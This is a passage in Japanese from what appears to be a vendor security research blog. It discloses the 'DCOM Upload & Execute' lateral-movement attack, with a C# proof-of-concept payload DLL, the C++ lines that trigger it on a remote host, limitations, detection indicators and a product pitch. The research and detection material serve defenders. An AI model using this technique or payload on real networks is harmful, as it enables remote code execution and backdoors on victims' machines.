InitializeEmbeddedUI をアセンブリから「.export」ILディスクリプタとともにネイティブの呼び出し元(msi.dll)にエクスポートします。
これでペイロード.dllの最終的なPOCを提示できます。
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport; // [DllExport] wraps ".export"
namespace payload
{
public class Class1
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);
[DllExport]
public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)
{
string title = "MSIEXEC - GAC backdoor installed";
IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
// The POC will display a message to the first logged on user in the target
int WTS_CURRENT_SESSION = 1;
int resp = 1;
// Using WTSSendMessage to create a messagebox form a service process at the users desktop
WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);
return 1337;
}
}
}
そして、DCOMアップロード&実行攻撃の最終行は次のとおりです。
// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assembly
ulong ret1, ret2;
std::string messageToVictim = "Hello from DCOM Upload & Execute";
hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);
完全な攻撃コードを実行すると、リモートターゲットPCにメッセージボックスが表示されます。
完全なソースコードはこちらです: https://github.com/deepinstinct/DCOMUploadExec
制限事項
- 攻撃者と被害者のマシンは、同じドメインまたはフォレスト内に存在する必要がある
- 攻撃者と被害者のマシンは、DCOM 強化パッチに一致している必要がある。つまり、両方のシステムにパッチが適用されているか、両方のシステムにパッチが適用されていない状態である必要がある
- アップロードおよび実行されたアセンブリペイロードには、ストロングネームが必要
- アップロードおよび実行されたアセンブリペイロードは、x86またはx64のいずれかでなければならない(AnyCPUは不可)
検出方法
この攻撃は、検出およびブロック可能な明確なIOCを残します。
- リモート認証データを含むイベントログ:
- コマンドラインパターンで子(カスタムアクションサーバー)を作成するMSIEXECサービス C:¥Windows¥System32¥MsiExec.exe -Embedding [HEXEDICAMAL_CHARS]
- 子プロセスMSIEXECがDLLをGACに書き込む
- 子プロセスMSIEXECがGACからDLLをロードする
まとめ
これまで、DCOMのラテラルムーブメントは、スクリプト可能な性質を持つIDispatchベースのCOMオブジェクトに限定して研究されてきました。本ブログでは、COMおよびDCOMオブジェクトの調査方法を提示します。この方法は、それらのドキュメントやIDispatchの実装の有無に依存しないものです。
この方法を使用して、「DCOM Upload & Execute」という強力なDCOMラテラルムーブfメント攻撃を公開します。この攻撃は、カスタムペイロードをリモートで被害者のGACに書き込み、サービスコンテキストから実行し、それらと通信することで、事実上、組み込み型バックドアとして機能します。
ここで紹介した研究は、多くの予期せぬDCOMオブジェクトが水平展開の移動に悪用できる可能性があることを証明しており、適切な防御策を講じる必要があることを示しています。
もし、このようなステルス攻撃が貴社の環境に侵入することを懸念されているのであれば、デモをリクエストし、サイバーセキュリティのために一から構築された世界で唯一のディープラーニングフレームワークを使用して、他のベンダーが検知すらできないものをDeep Instinctがどのようにして防ぐのかを学んでください。
参考文献
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory